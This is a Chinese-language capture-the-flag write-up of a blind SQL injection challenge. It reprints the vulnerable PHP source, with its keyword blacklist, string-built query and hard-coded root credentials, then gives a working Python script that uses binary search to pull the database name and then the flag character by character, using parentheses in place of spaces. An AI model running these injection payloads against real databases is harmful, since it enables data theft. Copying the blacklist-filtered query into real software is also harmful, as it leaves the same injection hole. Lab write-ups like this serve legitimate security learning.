题目告诉了我们flag字段在flag列里面,所以我们构造语句进行读取即可
试了一下只有输入1,2的时候会返回结果,其他就返回bool(false)或者SQL Injection Checked.
去看了看其他师傅的WP,这里祭出源代码。
源代码如下:
<?php
$dbuser='root';
$dbpass='root';
function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}
可以在黑名单里面看到过滤了空格,这里我们就采用()括号的方式进行绕过,应该使用回车制表符这些也可以进行绕过。
符号过滤的挺多的,函数没有怎么过滤,放出了select ,ascii,substr,from,典型让我们进行盲注。
所以看其他师傅的脚本自己也写了一个盲注脚本,二分法的。
这里先说一下函数
substr函数 substr(string,start,length)
所以我们要逐渐改变查询的位置,查询的长度一直是1,也就是我们每次只查询一个单词
ascii函数,ascii(str) ,str是一个字符串参数,返回值为最左侧字符的ascii码
# -*- coding: cp936 -*-
import requests
url='http://125fc1bf-ad84-4d24-b1a6-8c0a30732d79.node3.buuoj.cn/index.php'
flag=''
for x in range(1,50):
high=137
low=32
'''
32,127中间夹杂的是我们平时用到的字符
'''
mid=(low+high)//2
#使用二分法快速获取结果
while high>low:
#获取数据库名 ctftraining
payload="(ascii(substr((database()),%d,1))>%d)"%(x,mid)
data={
"id":payload
}
response=requests.post(url,data=data)
if 'Hello' in response.text:
low=mid+1
else:
high=mid
mid=(high+low)//2
flag+=chr(int(mid))
print flag
可以看到我们先爆出了数据库名
payload里面,我们每次检测这个单词与数据库当前位置的单词的ascii码的大小,同时一直二分,直到最后逼近正确答案。
因为题目已经提示了我们flag字段在flag列里面,我们就将payload改成
payload="(ascii(substr((select(flag)from(flag)),%d,1))>%d)"%(x,mid)
即可